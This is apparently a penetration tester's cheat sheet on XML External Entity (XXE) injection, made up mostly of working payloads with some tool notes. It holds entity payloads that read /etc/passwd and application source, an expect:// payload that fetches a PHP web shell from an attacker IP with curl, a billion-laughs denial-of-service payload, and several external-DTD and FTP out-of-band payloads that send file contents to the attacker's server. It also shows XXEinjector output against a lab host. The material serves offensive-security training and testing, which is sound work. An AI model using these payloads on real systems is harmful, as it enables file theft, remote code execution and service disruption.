XXE

XML External Entity (XXE) Processing | OWASP Foundation

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>

Note: We may also use the PUBLIC keyword instead of SYSTEM for loading external resources, which is used with publicly declared entities and standards, such as a language code (lang="en").

Detection

<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

Note: Some web applications may default to a JSON format in HTTP request, but may still accept other formats, including XML. So, even if a web app sends requests in a JSON format, we can try changing the Content-Type header to application/xml, and then convert the JSON data to XML with an online tool. If the web application does accept the request with XML data, then we may also test it against XXE vulnerabilities, which may reveal an unanticipated XXE vulnerability.

Read File

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Read the content of sensitive files, like configuration files that may contain passwords or other sensitive files like an id_rsa SSH key of a specific user

Read the source code of the web application

Tip: In certain Java web applications, we may also be able to specify a directory instead of a file, and we will get a directory listing instead, which can be useful for locating sensitive files. See Basic XXE

If a file contains some of XML's special characters (e.g. </>/&), it would break the external entity reference and not be used for the reference. Furthermore, we cannot read any binary data, as it would also not conform to the XML format. Solution for PHP app: Base64

<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

PHP Filters:

Local File Inclusion - LFI

For Java app, see Bad characters - wrapper

Remote Code Execution with XXE

PHP://expect filter

$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
$ sudo python3 -m http.server 80

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them

Other XXE Attacks

Port scan, SSRF

DoS:

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>

This attack no longer works with modern web servers (e.g., Apache), as they protect against entity self-reference

Advanced Exfiltration with CDATA

$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
$ python3 -m http.server 8000

<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

Note: In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop), as mentioned in the previous section.

See Bad Character - Wrappers

Error Based XXE

DTD file - xxe.dtd

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

payload

<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

This method is not as reliable as the previous method for reading source files, as it may have length limitations, and certain special characters may still break it

Out-of-band Data Exfiltration

Dtd file:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Tip: In addition to storing our base64 encoded data as a parameter to our URL, we may utilize DNS OOB Exfiltration by placing the encoded data as a sub-domain for our URL (e.g. ENCODEDTEXT.our.website.com), and then use a tool like tcpdump to capture any incoming traffic and decode the sub-domain string to get the data. Granted, this method is more advanced and requires more effort to exfiltrate data through.

Automation - XXEInjector

See Tools

Copy the HTTP request from Burp and write it to a file. Not include the full XML data, only the first line, and write XXEINJECT after it as a position locator for the tool:

POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:

All exfiltrated files get stored in the Logs folder under the tool

 cat Logs/10.129.201.94/etc/passwd.log 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..

Tools

GitHub - enjoiz/XXEinjector: Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.GitHub

After identifying a Blind XXE for example in Burpsuite it is pretty straight forward with this tool. Simply save the request into a file (req.txt for example) and insert XXEINJECT at the location of the identified injectible parameter. https://blog.kennyjansson.com/2018/03/31/automating-blind-xxe-injection/

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilitiesGitHub

More Than CPTS

Basic XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE request [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
    <method>&xxe;</method>
</request>

Lister des répertoires

file:/// : liste la racine file:///home/ : liste /home

Blind XXE

From blind XXE to root-level file read accesshonoki

What is a blind XXE attack? Tutorial & Examples | Web Security AcademyWebSecAcademy

Tool: XXEInjector

Out of Band

XXE - Things Are Getting Out of BandZeroSec - Adventures In Information Security

OOB Detection

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://[IP]/x"> %ext;
]>
<r></r>

DTD Exfiltration

https://raphaelrichard-sec.fr/portswigger/labs/exploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtdraphaelrichard-sec.fr

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://[IP]/remote.dtd">
%dtd;]>
<data>&send;</data>

cat remote.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[IP]/?%file;'>"> %all;

FTP

XXE - Things Are Getting Out of BandZeroSec - Adventures In Information Security

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://[IP]/ftp.dtd">
%asd;
%c;
]>
<a>&rrr;</a>

# cat ftp.dtd   
<!ENTITY % d SYSTEM "file:///etc/hostname">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://[IP]:2121/%d;'>">

scripts/xxe-ftp-server.rb at master · ONsec-Lab/scriptsGitHub

also: https://github.com/cyberaz0r/XXE-OOB-Exfiltrator

Not able to exfiltrate /etc/passwd over http, or ftp on java/tomcat:

GitHub - cyberaz0r/XXE-OOB-Exfiltrator: XXE Out-Of-Band multi-line content exfiltrator via external DTD using self-hosted HTTP and FTP serversGitHub

JAR Protocol:

Tools

Bad characters - Wrapper DTD - CDATA

XXE Injections

XML External Entity (XXE)Invicti

https://assets.ctfassets.net/wcxs9ap8i19s/0L47QKLLc07wzvjOBwo4ul/bfee1a0db2c65a02d7ac0b042ebe97e7/XXE-An-overlooked-threat_WhitePaper.pdf

cat wrapper.dtd 
<!ENTITY wrapper "%start;%file;%end;">

<!DOCTYPE data [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/wp-content/plugins/xxx-search/xxx-search.php" >
  <!ENTITY % end "]]>">
  <!ENTITY % dtd SYSTEM "http://[IP]/wrapper.dtd" >
  %dtd;
  ]>
<request>
    <method>&wrapper;</method>
</request>

PreviousIDOR NextCMS

Last updated 3 months ago